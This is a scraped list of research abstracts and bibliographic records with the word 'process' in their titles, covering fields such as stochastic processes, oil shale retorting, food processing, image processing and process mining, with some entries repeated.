design educations and product development in the domain of Industrial Design and is briefly seen in relation to the concept of dromology......Inspiration for most research and optimisations on design processes still seem to focus within the narrow field of the traditional design practise. The focus in this study turns to associated businesses of the design professions in order to learn from their development processes. Through interviews... 9. Stochastic processes CERN Document Server Parzen, Emanuel 2015-01-01 Well-written and accessible, this classic introduction to stochastic processes and related mathematics is appropriate for advanced undergraduate students of mathematics with a knowledge of calculus and continuous probability theory. The treatment offers examples of the wide variety of empirical phenomena for which stochastic processes provide mathematical models, and it develops the methods of probability model-building.Chapter 1 presents precise definitions of the notions of a random variable and a stochastic process and introduces the Wiener and Poisson processes. Subsequent chapters examine 10. Plan and justification for a Proof-of-Concept oil shale facility. Final report Energy Technology Data Exchange (ETDEWEB) 1990-12-01 The technology being evaluated is the Modified In-Situ (MIS) retorting process for raw shale oil production, combined with a Circulating Fluidized Bed Combustor (CFBC), for the recovery of energy from the mined shale. (VC) 11. Plan and justification for a Proof-of-Concept oil shale facility Energy Technology Data Exchange (ETDEWEB) 1990-12-01 The technology being evaluated is the Modified In-Situ (MIS) retorting process for raw shale oil production, combined with a Circulating Fluidized Bed Combustor (CFBC), for the recovery of energy from the mined shale. (VC) 12. Image processing NARCIS (Netherlands) Heijden, van der F.; Spreeuwers, L.J.; Blanken, H.M.; Vries de, A.P.; Blok, H.E.; Feng, L 2007-01-01 The field of image processing addresses handling and analysis of images for many purposes using a large number of techniques and methods. The applications of image processing range from enhancement of the visibility of cer- tain organs in medical images to object recognition for handling by industri 13. Sustainable processing DEFF Research Database (Denmark) Kristensen, Niels Heine 2004-01-01 Kristensen_NH and_Beck A: Sustainable processing. In Otto Schmid, Alexander Beck and Ursula Kretzschmar (Editors) (2004): Underlying Principles in Organic and "Low-Input Food" Processing - Literature Survey. Research Institute of Organic Agriculture FiBL, CH-5070 Frick, Switzerland. ISBN 3-906081-58-3... 14. Process mining DEFF Research Database (Denmark) van der Aalst, W.M.P.; Rubin, V.; Verbeek, H.M.W. 2010-01-01 Process mining includes the automated discovery of processes from event logs. Based on observed events (e.g., activities being executed or messages being exchanged) a process model is constructed. One of the essential problems in process mining is that one cannot assume to have seen all possible...... behavior. At best, one has seen a representative subset. Therefore, classical synthesis techniques are not suitable as they aim at finding a model that is able to exactly reproduce the log. Existing process mining techniques try to avoid such “overfitting” by generalizing the model to allow for more...... behavior. This generalization is often driven by the representation language and very crude assumptions about completeness. As a result, parts of the model are “overfitting” (allow only for what has actually been observed) while other parts may be “underfitting” (allowfor much more behavior without strong... 15. Organizing Process DEFF Research Database (Denmark) Hull Kristensen, Peer; Bojesen, Anders This paper invites to discuss the processes of individualization and organizing being carried out under what we might see as an emerging regime of change. The underlying argumentation is that in certain processes of change, competence becomes questionable at all times. The hazy characteristics...... of this regime of change are pursued through a discussion of competencies as opposed to qualifications illustrated by distinct cases from the Danish public sector in the search for repetitive mechanisms. The cases are put into a general perspective by drawing upon experiences from similar change processes... 16. Grants Process Science.gov (United States) The NCI Grants Process provides an overview of the end-to-end lifecycle of grant funding. Learn about the types of funding available and the basics for application, review, award, and on-going administration within the NCI. 17. Processing Proteases DEFF Research Database (Denmark) Ødum, Anders Sebastian Rosenkrans Processing proteases are proteases which proteolytically activate proteins and peptides into their biologically active form. Processing proteases play an important role in biotechnology as tools in protein fusion technology. Fusion strategies where helper proteins or peptide tags are fused...... to the protein of interest are an elaborate method to optimize expression or purification systems. It is however critical that fusion proteins can be removed and processing proteases can facilitate this in a highly specific manner. The commonly used proteases all have substrate specificities to the N...... of few known proteases to have substrate specificity for the C-terminal side of the scissile bond. LysN exhibits specificity for lysine, and has primarily been used to complement trypsin in to proteomic studies. A working hypothesis during this study was the potential of LysN as a processing protease... 18. Electrochemical Processes DEFF Research Database (Denmark) Bech-Nielsen, Gregers 1997-01-01 The notes describe in detail primary and secondary galvanic cells, fuel cells, electrochemical synthesis and electroplating processes, corrosion: measurments, inhibitors, cathodic and anodic protection, details of metal dissolution reactions, Pourbaix diagrams and purification of waste water from... 19. Sewer Processes DEFF Research Database (Denmark) Hvitved-Jacobsen, Thorkild; Vollertsen, Jes; Nielsen, Asbjørn Haaning and valuable information on the sewer as a chemical and biological reactor. It focuses on how to predict critical impacts and control adverse effects. It also provides an integrated description of sewer processes in modeling terms. This second edition is full of illustrative examples and figures, includes...... microbial and chemical processes and demonstrates how this knowledge can be applied for the design, operation, and the maintenance of wastewater collection systems. The authors add chemical and microbial dimensions to the design and management of sewer networks with an overall aim of improved sustainability...... by hydrogen sulfide and other volatile organic compounds, as well as other potential health issues, have caused environmental concerns to rise. Reflecting the most current developments, Sewer Processes: Microbial and Chemical Process Engineering of Sewer Networks, Second Edition, offers the reader updated... 20. Manufacturing processes Science.gov (United States) Bennet, Jay; Brower, David; Levine, Stan; Walker, Ray; Wooten, John 1991-01-01 The following issues are covered: process development frequently lags behind material development, high fabrication costs, flex joints (bellows) - a continuing program, SRM fabrication-induced defects, and in-space assembly will require simplified design. 1. In process... OpenAIRE LI Xin 1999-01-01 Architecture is a wonderful world. As a student of architecture, time and time again I am inpressed by its powerful imagines. The more I study and learn, however, the more I question. What is the truth beyond those fantastic imagines? What is the nuture of Architecture? Is there any basic way or process to approach the work of Architecture? With these questions, I begin my thesis project and the process of looking for answers. MArch 2. In process... OpenAIRE LI Xin 2000-01-01 Architecture is a wonderful world. As a student of architecture, time and time again I am inpressed by its powerful imagines. The more I study and learn, however, the more I question. What is the truth beyond those fantastic imagines? What is the nuture of Architecture? Is there any basic way or process to approach the work of Architecture? With these questions, I begin my thesis project and the process of looking for answers. 3. Renewal processes CERN Document Server Mitov, Kosto V 2014-01-01 This monograph serves as an introductory text to classical renewal theory and some of its applications for graduate students and researchers in mathematics and probability theory. Renewal processes play an important part in modeling many phenomena in insurance, finance, queuing systems, inventory control and other areas. In this book, an overview of univariate renewal theory is given and renewal processes in the non-lattice and lattice case are discussed. A pre-requisite is a basic knowledge of probability theory. 4. Macdonald processes CERN Document Server Borodin, Alexei 2011-01-01 Macdonald processes are probability measures on sequences of partitions defined in terms of nonnegative specializations of the Macdonald symmetric functions and two Macdonald parameters q,t in [0,1). We prove several results about these processes, which include the following. (1) We explicitly evaluate expectations of a rich family of observables for these processes. (2) In the case t=0, we find a Fredholm determinant formula for a q-Laplace transform of the distribution of the last part of the Macdonald-random partition. (3) We introduce Markov dynamics that preserve the class of Macdonald processes and lead to new "integrable" 2d and 1d interacting particle systems. (4) In a large time limit transition, and as q goes to 1, the particles of these systems crystallize on a lattice, and fluctuations around the lattice converge to O'Connell's Whittaker process that describe semi-discrete Brownian directed polymers. (5) This yields a Fredholm determinant for the Laplace transform of the polymer partition function... 5. Fuel Gas Demonstration Plant Program. Volume I. Demonstration plant Energy Technology Data Exchange (ETDEWEB) 1979-01-01 The objective of this project is for Babcock Contractors Inc. (BCI) to provide process designs, and gasifier retort design for a fuel gas demonstration plant for Erie Mining Company at Hoyt Lake, Minnesota. The fuel gas produced will be used to supplement natural gas and fuel oil for iron ore pellet induration. The fuel gas demonstration plant will consist of five stirred, two-stage fixed-bed gasifier retorts capable of handling caking and non-caking coals, and provisions for the installation of a sixth retort. The process and unit design has been based on operation with caking coals; however, the retorts have been designed for easy conversion to handle non-caking coals. The demonstration unit has been designed to provide for expansion to a commercial plant (described in Commercial Plant Package) in an economical manner. 6. Offshoring Process DEFF Research Database (Denmark) Slepniov, Dmitrij; Sørensen, Brian Vejrum; Katayama, Hiroshi 2011-01-01 The purpose of this chapter is to contribute to the knowledge on how production offshoring and international operations management vary across cultural contexts. The chapter attempts to shed light on how companies approach the process of offshoring in different cultural contexts. In order...... of globalisation. Yet there are clear differences in how offshoring is conducted in Denmark and Japan. The main differences are outlined in a framework and explained employing cultural variables. The findings lead to a number of propositions suggesting that the process of offshoring is not simply a uniform... 7. Offshoring Process DEFF Research Database (Denmark) Slepniov, Dmitrij; Sørensen, Brian Vejrum; Katayama, Hiroshi 2011-01-01 The purpose of this chapter is to contribute to the knowledge on how production offshoring and international operations management vary across cultural contexts. The chapter attempts to shed light on how companies approach the process of offshoring in different cultural contexts. In order...... of globalisation. Yet there are clear differences in how offshoring is conducted in Denmark and Japan. The main differences are outlined in a framework and explained employing cultural variables. The findings lead to a number of propositions suggesting that the process of offshoring is not simply a uniform... 8. Optical Processing. Science.gov (United States) 1985-12-31 34perceptron" (F. Rosenblatt, Principles of Neurodynamics ), workers in the neural network field have been seeking to understand how neural networks can perform...Moscow). 13. F. Rosenblatt, Principles of Neurodynamics , (Spartan, 1962). 14. W. Stoner "Incoherent optical processing via spatially offset pupil 9. Innovation process DEFF Research Database (Denmark) Kolodovski, A. 2006-01-01 Purpose of this report: This report was prepared for RISO team involved in design of the innovation system Report provides innovation methodology to establish common understanding of the process concepts and related terminology The report does not includeRISO- or Denmark-specific cultural, econom... 10. Processing Determinism Science.gov (United States) 2015-01-01 I propose that the course of development in first and second language acquisition is shaped by two types of processing pressures--internal efficiency-related factors relevant to easing the burden on working memory and external input-related factors such as frequency of occurrence. In an attempt to document the role of internal factors, I consider… 11. Processing Branches DEFF Research Database (Denmark) Schindler, Christoph; Tamke, Martin; Tabatabai, Ali; 2014-01-01 Angled and forked wood – a desired material until 19th century, was swept away by industrialization and its standardization of processes and materials. Contemporary information technology has the potential for the capturing and recognition of individual geometries through laser scanning and compu... 12. BENTONITE PROCESSING Directory of Open Access Journals (Sweden) Anamarija Kutlić 2012-07-01 Full Text Available Bentonite has vide variety of uses. Special use of bentonite, where its absorbing properties are employed to provide water-tight sealing is for an underground repository in granites In this paper, bentonite processing and beneficiation are described. 13. espida Process OpenAIRE Currall, James; McKinney, Peter 2006-01-01 Embedded in the work of espida is a process that ensures projects align themselves with the strategic aims of the funders they wish to receive resources from. It details the relationship the funder and fundee have and how outcomes of the work feedback into the organisational objectives. 14. Photobiomodulation Process Directory of Open Access Journals (Sweden) Yang-Yi Xu 2012-01-01 Full Text Available Photobiomodulation (PBM is a modulation of laser irradiation or monochromatic light (LI on biosystems. There is little research on PBM dynamics although its phenomena and mechanism have been widely studied. The PBM was discussed from dynamic viewpoint in this paper. It was found that the primary process of cellular PBM might be the key process of cellular PBM so that the transition rate of cellular molecules can be extended to discuss the dose relationship of PBM. There may be a dose zone in which low intensity LI (LIL at different doses has biological effects similar to each other, so that biological information model of PBM might hold. LIL may self-adaptively modulate a chronic stress until it becomes successful. 15. Boolean process Institute of Scientific and Technical Information of China (English) 闵应骅; 李忠诚; 赵著行 1997-01-01 Boolean algebra successfully describes the logical behavior of a digital circuit, and has been widely used in electronic circuit design and test With the development of high speed VLSIs it is a drawback for Boolean algebra to be unable to describe circuit timing behavior. Therefore a Boolean process is defined as a family of Boolean van ables relevant to the time parameter t. A real-valued sample of a Boolean process is a waveform. Waveform functions can be manipulated formally by using mathematical tools. The distance, difference and limit of a waveform polynomial are defined, and a sufficient and necessary condition of the limit existence is presented. Based on this, the concept of sensitization is redefined precisely to demonstrate the potential and wide application possibility The new definition is very different from the traditional one, and has an impact on determining the sensitizable paths with maximum or minimum length, and false paths, and then designing and testing high performance circuits 16. Purification process Energy Technology Data Exchange (ETDEWEB) Marshall, A. 1981-02-17 A process for the removal of hydrogen sulphide from gases or liquid hydrocarbons, comprises contacting the gas or liquid hydrocarbon with an aqueous alkaline solution, preferably having a pH value of 8 to 10, comprising (A) an anthraquinone disulphonic acid or a water-soluble sulphonamide thereof (B) a compound of a metal which can exist in at least two valency states and (C) a sequestering agent. 17. Ceramic Processing Energy Technology Data Exchange (ETDEWEB) EWSUK,KEVIN G. 1999-11-24 18. Processing Proteases DEFF Research Database (Denmark) Ødum, Anders Sebastian Rosenkrans -terminal of the scissile bond, leaving C-terminal fusions to have non-native C-termini after processing. A solution yielding native C-termini would allow novel expression and purification systems for therapeutic proteins and peptides.The peptidyl-Lys metallopeptidase (LysN) of the fungus Armillaria mellea (Am) is one...... suitable to leave native C-termini.During this study the substrate specificity of LysN was profiled with a synthetic fluorogenic peptide library which allowed for kinetic characterization. A novel profiling method using encoded beads was proposed to efficiently profile human Renin. Recombinant expression... 19. Hydrocarbon processing Energy Technology Data Exchange (ETDEWEB) Hill, S.G.; Seddon, D. 1989-06-28 A process for the catalytic conversion of synthesis-gas into a product which comprises naphtha, kerosene and distillate is characterized in that the catalyst is a Fischer-Tropsch catalyst also containing a zeolite, the naphtha fraction contains 60% or less linear paraffins and the kerosene and distillated fractions contain more linear paraffins and olefins than found in the naphtha fraction. Reduction of the relative amount of straight chain material in the naphtha fraction increases the octane number and so enhances the quality of the gasoline product, while the high quality of the kerosene and distillate fractions is maintained. 20. Optical processing Science.gov (United States) Gustafson, S. C. 1985-12-01 The technical contributions were as follows: (1) Optical parallel 2-D neighborhood processor and optical processor assessment technique; (2) High accuracy with moderately accurate components and optical fredkin gate architectures; (3) Integrated optical threshold computing, pipelined polynomial processor, and all optical analog/digital converter; (4) Adaptive optical associative memory model with attention; (5) Effectiveness of parallelism and connectivity in optical computers; (6) Optical systolic array processing using an integrated acoustooptic module; (7) Optical threshold elements and networks, holographic threshold processors, adaptive matched spatial filtering, and coherence theory in optical computing; (8) Time-varying optical processing for sub-pixel targets, optical Kalman filtering, and adaptive matched filtering; (9) Optical degrees of freedom, ultra short optical pulses, number representations, content-addressable-memory processors, and integrated optical Givens rotation devices; (10) Optical J-K flip flop analysis and interfacing for optical computers; (11) Matrix multiplication algorithms and limits of incoherent optical computers; (12) Architecture for machine vision with sensor fusion, pattern recognition functions, and neural net implementations; (13) Optical computing algorithms, architectures, and components; and (14) Dynamic optical interconnections, advantages and architectures. 1. Lithospheric processes Energy Technology Data Exchange (ETDEWEB) Baldridge, W. [and others 2000-12-01 The authors used geophysical, geochemical, and numerical modeling to study selected problems related to Earth's lithosphere. We interpreted seismic waves to better characterize the thickness and properties of the crust and lithosphere. In the southwestern US and Tien Shari, crust of high elevation is dynamically supported above buoyant mantle. In California, mineral fabric in the mantle correlate with regional strain history. Although plumes of buoyant mantle may explain surface deformation and magmatism, our geochemical work does not support this mechanism for Iberia. Generation and ascent of magmas remains puzzling. Our work in Hawaii constrains the residence of magma beneath Hualalai to be a few hundred to about 1000 years. In the crust, heat drives fluid and mass transport. Numerical modeling yielded robust and accurate predictions of these processes. This work is important fundamental science, and applies to mitigation of volcanic and earthquake hazards, Test Ban Treaties, nuclear waste storage, environmental remediation, and hydrothermal energy. 2. Crystallization process Science.gov (United States) Adler, Robert J.; Brown, William R.; Auyang, Lun; Liu, Yin-Chang; Cook, W. Jeffrey 1986-01-01 An improved crystallization process is disclosed for separating a crystallizable material and an excluded material which is at least partially excluded from the solid phase of the crystallizable material obtained upon freezing a liquid phase of the materials. The solid phase is more dense than the liquid phase, and it is separated therefrom by relative movement with the formation of a packed bed of solid phase. The packed bed is continuously formed adjacent its lower end and passed from the liquid phase into a countercurrent flow of backwash liquid. The packed bed extends through the level of the backwash liquid to provide a drained bed of solid phase adjacent its upper end which is melted by a condensing vapor. 3. Image Processing Science.gov (United States) 1993-01-01 Electronic Imagery, Inc.'s ImageScale Plus software, developed through a Small Business Innovation Research (SBIR) contract with Kennedy Space Flight Center for use on space shuttle Orbiter in 1991, enables astronauts to conduct image processing, prepare electronic still camera images in orbit, display them and downlink images to ground based scientists for evaluation. Electronic Imagery, Inc.'s ImageCount, a spin-off product of ImageScale Plus, is used to count trees in Florida orange groves. Other applications include x-ray and MRI imagery, textile designs and special effects for movies. As of 1/28/98, company could not be located, therefore contact/product information is no longer valid. 4. Lycopene in tomatoes: chemical and physical properties affected by food processing. Science.gov (United States) Shi, J; Le Maguer, M 2000-01-01 Lycopene is the pigment principally responsible for the characteristic deep-red color of ripe tomato fruits and tomato products. It has attracted attention due to its biological and physicochemical properties, especially related to its effects as a natural antioxidant. Although it has no provitamin A activity, lycopene does exhibit a physical quenching rate constant with singlet oxygen almost twice as high as that of beta-carotene. This makes its presence in the diet of considerable interest. Increasing clinical evidence supports the role of lycopene as a micronutrient with important health benefits, because it appears to provide protection against a broad range of epithelial cancers. Tomatoes and related tomato products are the major source of lycopene compounds, and are also considered an important source of carotenoids in the human diet. Undesirable degradation of lycopene not only affects the sensory quality of the final products, but also the health benefit of tomato-based foods for the human body. Lycopene in fresh tomato fruits occurs essentially in the all-trans configuration. The main causes of tomato lycopene degradation during processing are isomerization and oxidation. Isomerization converts all-trans isomers to cis-isomers due to additional energy input and results in an unstable, energy-rich station. Determination of the degree of lycopene isomerization during processing would provide a measure of the potential health benefits of tomato-based foods. Thermal processing (bleaching, retorting, and freezing processes) generally cause some loss of lycopene in tomato-based foods. Heat induces isomerization of the all-trans to cis forms. The cis-isomers increase with temperature and processing time. In general, dehydrated and powdered tomatoes have poor lycopene stability unless carefully processed and promptly placed in a hermetically sealed and inert atmosphere for storage. A significant increase in the cis-isomers with a simultaneous decrease in the all 5. Dynamic Processes Science.gov (United States) Klingshirn, C. . Phys. Lett. 92:211105, 2008). For this point, recall Figs. 6.16 and 6.33. Since the polarisation amplitude is gone in any case after the recombination process, there is an upper limit for T 2 given by T 2 ≤ 2 T1. The factor of two comes from the fact that T 2 describes the decay of an amplitude and T 1 the decay of a population, which is proportional to the amplitude squared. Sometimes T 2 is subdivided in a term due to recombination described by T 1 and another called 'pure dephasing' called T 2 ∗ with the relation 1 / T 2 = 1 / 2 T 1 + 1 / T2 ∗. The quantity T 2 ∗ can considerably exceed 2 T 1. In the part on relaxation processes that is on processes contributing to T 3, we give also examples for the capture of excitons into bound, localized, or deep states. For more details on dynamics in semiconductors in general see for example, the (text-) books [Klingshirn, Semiconductor Optics, 3rd edn. (Springer, Berlin, 2006); Haug and Koch, Quantum Theory of the Optical and Electronic Properties of Semiconductors, 4th edn. (World Scientific, Singapore, 2004); Haug and Jauho, Quantum Kinetics in Transport and Optics of Semiconductors, Springer Series in Solid State Sciences vol. 123 (Springer, Berlin, 1996); J. Shah, Ultrafast Spectroscopy of Semiconductors and of Semiconductor Nanostructures, Springer Series in Solid State Sciences vol. 115 (Springer, Berlin, 1996); Schafer and Wegener, Semiconductor Optics and Transport Phenomena (Springer, Berlin, 2002)]. We present selected data for free, bound and localized excitons, biexcitons and electron-hole pairs in an EHP and examples for bulk materials, epilayers, quantum wells, nano rods and nano crystals with the restriction that - to the knowledge of the author - data are not available for all these systems, density ranges and temperatures. Therefore, we subdivide the topic below only according to the three time constants T 2, T 3 and T 1. 6. Data Processing Science.gov (United States) Grangeat, P. A new area of biology has been opened up by nanoscale exploration of the living world. This has been made possible by technological progress, which has provided the tools needed to make devices that can measure things on such length and time scales. In a sense, this is a new window upon the living world, so rich and so diverse. Many of the investigative methods described in this book seek to obtain complementary physical, chemical, and biological data to understand the way it works and the way it is organised. At these length and time scales, only dedicated instrumentation could apprehend the relevant phenomena. There is no way for our senses to observe these things directly. One important field of application is molecular medicine, which aims to explain the mechanisms of life and disease by the presence and quantification of specific molecular entities. This involves combining information about genes, proteins, cells, and organs. This in turn requires the association of instruments for molecular diagnosis, either in vitro, e.g., the microarray or the lab-on-a-chip, or in vivo, e.g., probes for molecular biopsy, and tools for molecular imaging, used to localise molecular information in living organisms in a non-invasive way. These considerations concern both preclinical research for drug design and human medical applications. With the development of DNA and RNA chips [1], genomics has revolutionised investigative methods for cells and cell processes [2,3]. By sequencing the human genome, new ways have been found for understanding the fundamental mechanisms of life [4]. A revolution is currently under way with the analysis of the proteome [5-8], i.e., the complete set of proteins that can be found in some given biological medium, such as the blood plasma. The goal is to characterise certain diseases by recognisable signatures in the proteomic profile, as determined from a blood sample or a biopsy, for example [9-13]. What is at stake is the early detection of 7. Information Processing - Administrative Data Processing Science.gov (United States) Bubenko, Janis A three semester, 60-credit course package in the topic of Administrative Data Processing (ADP), offered in 1966 at Stockholm University (SU) and the Royal Institute of Technology (KTH) is described. The package had an information systems engineering orientation. The first semester focused on datalogical topics, while the second semester focused on the infological topics. The third semester aimed to deepen the students’ knowledge in different parts of ADP and at writing a bachelor thesis. The concluding section of this paper discusses various aspects of the department’s first course effort. The course package led to a concretisation of our discipline and gave our discipline an identity. Our education seemed modern, “just in time”, and well adapted to practical needs. The course package formed the first concrete activity of a group of young teachers and researchers. In a forty-year perspective, these people have further developed the department and the topic to an internationally well-reputed body of knowledge and research. The department has produced more than thirty professors and more than one hundred doctoral degrees. 8. OIL SHALE ASH UTILIZATION IN INDUSTRIAL PROCESSES AS AN ALTERNATIVE RAW MATERIAL OpenAIRE Azeez Mohamed, Hussain; Campos, Leonel 2016-01-01 Oil shale is a fine-grained sedimentary rock with the potential to yield significant amounts of oil and combustible gas when retorted. Oil shale deposits have been found on almost every continent, but only Estonia, who has the 8th largest oil shale deposit in the world has continuously utilized oil shale in large scale operations. Worldwide, Estonia accounts for 80% of the overall activity involving oil shale, consuming approximately 18 million tons while producing 5–7 million tons of oil sha... 9. Electrotechnologies to process foods Science.gov (United States) Electrical energy is being used to process foods. In conventional food processing plants, electricity drives mechanical devices and controls the degree of process. In recent years, several processing technologies are being developed to process foods directly with electricity. Electrotechnologies use... 10. Changes in Texture and Retorting Yield in Oil Shale During Its Bioleaching by Bacillus Mucilaginosus Institute of Scientific and Technical Information of China (English) ZHANG Xue-qing; REN He-jun; LIU Na; ZHANG Lan-ying; ZHOU Rui 2013-01-01 Bioleaching of oil shale by Bacillus mucilaginosus was carried out in a reaction column for 13 d.The pH value of the leaching liquor decreased steadily from 7.5 to 5.5 and the free silicon dioxide concentration reached approximately 200 mg/L in it.Scanning electron microscopy(SEM) observations revealed that a mass of small particles separated from the matrix of oil shale.Energy dispersive spectrometry(EDS) analysis implied that the total content of Si,O,A1 was decreased in the particle area of the matrix.These facts indicate that the silicate was removed,leading to the structural transformation of oil shale.Comparison of the shale oil yields before and after bioleaching illustrated that approximately 10% extra shale oil was obtained.This finding suggests that the demineralisation of the oil shale by silicate bacteria improves shale oil yield. 11. Studies on process synthesis and process integration OpenAIRE Fien, Gert-Jan A. F. 1994-01-01 This thesis discusses topics in the field of process engineering that have received much attention over the past twenty years: (1) conceptual process synthesis using heuristic shortcut methods and (2) process integration through heat-exchanger networks and energy-saving power and refrigeration systems. The shortcut methods for conceptual process synthesis presented in Chapter 2, utilize Residue Curve Maps in ternary diagrams and are illustrated with examples of processes... 12. Extensible packet processing architecture Science.gov (United States) Robertson, Perry J.; Hamlet, Jason R.; Pierson, Lyndon G.; Olsberg, Ronald R.; Chun, Guy D. 2013-08-20 A technique for distributed packet processing includes sequentially passing packets associated with packet flows between a plurality of processing engines along a flow through data bus linking the plurality of processing engines in series. At least one packet within a given packet flow is marked by a given processing engine to signify by the given processing engine to the other processing engines that the given processing engine has claimed the given packet flow for processing. A processing function is applied to each of the packet flows within the processing engines and the processed packets are output on a time-shared, arbitered data bus coupled to the plurality of processing engines. 13. Extensible packet processing architecture Energy Technology Data Exchange (ETDEWEB) Robertson, Perry J.; Hamlet, Jason R.; Pierson, Lyndon G.; Olsberg, Ronald R.; Chun, Guy D. 2013-08-20 A technique for distributed packet processing includes sequentially passing packets associated with packet flows between a plurality of processing engines along a flow through data bus linking the plurality of processing engines in series. At least one packet within a given packet flow is marked by a given processing engine to signify by the given processing engine to the other processing engines that the given processing engine has claimed the given packet flow for processing. A processing function is applied to each of the packet flows within the processing engines and the processed packets are output on a time-shared, arbitered data bus coupled to the plurality of processing engines. 14. Process mineralogy IX Energy Technology Data Exchange (ETDEWEB) Petruk, W.; Hagni, R.D.; Pignolet-Brandom, S.; Hausen, D.M. (eds.) (Canada Centre for Mineral and Energy Technology, Ottawa, ON (Canada)) 1990-01-01 54 papers are presented under the headings: keynote address; process mineralogy applications to mineral processing; process mineralogy applications to gold; process mineralogy applications to pyrometallurgy and hydrometallurgy; process mineralogy applications to environment and health; and process mineralogy applications to synthetic materials. Subject and author indexes are provided. Three papers have been abstracted separately. 15. Refactoring Process Models in Large Process Repositories. NARCIS (Netherlands) Weber, B.; Reichert, M.U. 2008-01-01 With the increasing adoption of process-aware information systems (PAIS), large process model repositories have emerged. Over time respective models have to be re-aligned to the real-world business processes through customization or adaptation. This bears the risk that model redundancies are introdu 16. Thinning spatial point processes into Poisson processes DEFF Research Database (Denmark) Møller, Jesper; Schoenberg, Frederic Paik 2010-01-01 are identified, and where we simulate backwards and forwards in order to obtain the thinned process. In the case of a Cox process, a simple independent thinning technique is proposed. In both cases, the thinning results in a Poisson process if and only if the true Papangelou conditional intensity is used, and... 17. Thinning spatial point processes into Poisson processes DEFF Research Database (Denmark) Møller, Jesper; Schoenberg, Frederic Paik , and where one simulates backwards and forwards in order to obtain the thinned process. In the case of a Cox process, a simple independent thinning technique is proposed. In both cases, the thinning results in a Poisson process if and only if the true Papangelou conditional intensity is used, and thus can... 18. Refactoring Process Models in Large Process Repositories. NARCIS (Netherlands) Weber, B.; Reichert, M.U. With the increasing adoption of process-aware information systems (PAIS), large process model repositories have emerged. Over time respective models have to be re-aligned to the real-world business processes through customization or adaptation. This bears the risk that model redundancies are 19. The permanental process DEFF Research Database (Denmark) McCullagh, Peter; Møller, Jesper 2006-01-01 We extend the boson process first to a large class of Cox processes and second to an even larger class of infinitely divisible point processes. Density and moment results are studied in detail. These results are obtained in closed form as weighted permanents, so the extension i called a permanental...... process. Temporal extensions and a particularly tractable case of the permanental process are also studied. Extensions of the fermion process along similar lines, leading to so-called determinantal processes, are discussed.... 20. Food Processing and Allergenicity NARCIS (Netherlands) Verhoeckx, K.; Vissers, Y.; Baumert, J.L.; Faludi, R.; Fleys, M.; Flanagan, S.; Herouet-Guicheney, C.; Holzhauser, T.; Shimojo, R.; Bolt, van der Nieke; Wichers, H.J.; Kimber, I. 2015-01-01 Food processing can have many beneficial effects. However, processing may also alter the allergenic properties of food proteins. A wide variety of processing methods is available and their use depends largely on the food to be processed. In this review the impact of processing (heat and non 1. Food processing and allergenicity NARCIS (Netherlands) Verhoeckx, K.C.M.; Vissers, Y.M.; Baumert, J.L.; Faludi, R.; Feys, M.; Flanagan, S.; Herouet-Guicheney, C.; Holzhauser, T.; Shimojo, R.; Bolt, N. van der; Wichers, H.; Kimber, I. 2015-01-01 Food processing can have many beneficial effects. However, processing may also alter the allergenic properties of food proteins. A wide variety of processing methods is available and their use depends largely on the food to be processed. In this review the impact of processing (heat and non-heat tre 2. SAR processing using SHARC signal processing systems Science.gov (United States) Huxtable, Barton D.; Jackson, Christopher R.; Skaron, Steve A. 1998-09-01 Synthetic aperture radar (SAR) is uniquely suited to help solve the Search and Rescue problem since it can be utilized either day or night and through both dense fog or thick cloud cover. Other papers in this session, and in this session in 1997, describe the various SAR image processing algorithms that are being developed and evaluated within the Search and Rescue Program. All of these approaches to using SAR data require substantial amounts of digital signal processing: for the SAR image formation, and possibly for the subsequent image processing. In recognition of the demanding processing that will be required for an operational Search and Rescue Data Processing System (SARDPS), NASA/Goddard Space Flight Center and NASA/Stennis Space Center are conducting a technology demonstration utilizing SHARC multi-chip modules from Boeing to perform SAR image formation processing. 3. INTEGRATED RENEWAL PROCESS Directory of Open Access Journals (Sweden) Suyono . 2012-07-01 Full Text Available The marginal distribution of integrated renewal process is derived in this paper. Our approach is based on the theory of point processes, especially Poisson point processes. The results are presented in the form of Laplace transforms. 4. Integrated Process Capability Analysis Institute of Scientific and Technical Information of China (English) Chen; H; T; Huang; M; L; Hung; Y; H; Chen; K; S 2002-01-01 Process Capability Analysis (PCA) is a powerful too l to assess the ability of a process for manufacturing product that meets specific ations. The larger process capability index implies the higher process yield, a nd the larger process capability index also indicates the lower process expected loss. Chen et al. (2001) has applied indices C pu, C pl, and C pk for evaluating the process capability for a multi-process product wi th smaller-the-better, larger-the-better, and nominal-the-best spec... 5. Product Development Process Modeling Institute of Scientific and Technical Information of China (English) 1999-01-01 The use of Concurrent Engineering and other modern methods of product development and maintenance require that a large number of time-overlapped "processes" be performed by many people. However, successfully describing and optimizing these processes are becoming even more difficult to achieve. The perspective of industrial process theory (the definition of process) and the perspective of process implementation (process transition, accumulation, and inter-operations between processes) are used to survey the method used to build one base model (multi-view) process model. 6. From Process Understanding to Process Control NARCIS (Netherlands) Streefland, M. 2010-01-01 A licensed pharmaceutical process is required to be executed within the validated ranges throughout the lifetime of product manufacturing. Changes to the process usually require the manufacturer to demonstrate that the safety and efficacy of the product remains unchanged. Recent changes in the regul 7. Business Process Redesign: Design the Improved Process Science.gov (United States) 1993-09-01 64 C. MULTIVOTING ......... .................. .. 65 D. ELECTRONIC VOTING TECHNOLOGY ... ......... .. 65 v E. PAIRED...PROCESS IMPROVEMENT PROCESS (PIP) Diagram of each Activity (AI-A4) ......... .. 122 vi APPENDIX D: PRODUCTS AND VENDORS WHICH SUPPORT ELECTRONIC VOTING ............. 126...requirements. D. ELECTRONIC VOTING TECHNOLOGY Nunamaker [1992] suggests that traditional voting usual- ly happens at the end of a discussion, to close 8. Process Intensification: A Perspective on Process Synthesis DEFF Research Database (Denmark) Lutze, Philip; Gani, Rafiqul; Woodley, John 2010-01-01 In recent years, process intensification (PI) has attracted considerable academic interest as a potential means for process improvement, to meet the increasing demands for sustainable production. A variety of intensified operations developed in academia and industry creates a large number of opti... 9. Idaho Chemical Processing Plant Process Efficiency improvements Energy Technology Data Exchange (ETDEWEB) Griebenow, B. 1996-03-01 In response to decreasing funding levels available to support activities at the Idaho Chemical Processing Plant (ICPP) and a desire to be cost competitive, the Department of Energy Idaho Operations Office (DOE-ID) and Lockheed Idaho Technologies Company have increased their emphasis on cost-saving measures. The ICPP Effectiveness Improvement Initiative involves many activities to improve cost effectiveness and competitiveness. This report documents the methodology and results of one of those cost cutting measures, the Process Efficiency Improvement Activity. The Process Efficiency Improvement Activity performed a systematic review of major work processes at the ICPP to increase productivity and to identify nonvalue-added requirements. A two-phase approach was selected for the activity to allow for near-term implementation of relatively easy process modifications in the first phase while obtaining long-term continuous improvement in the second 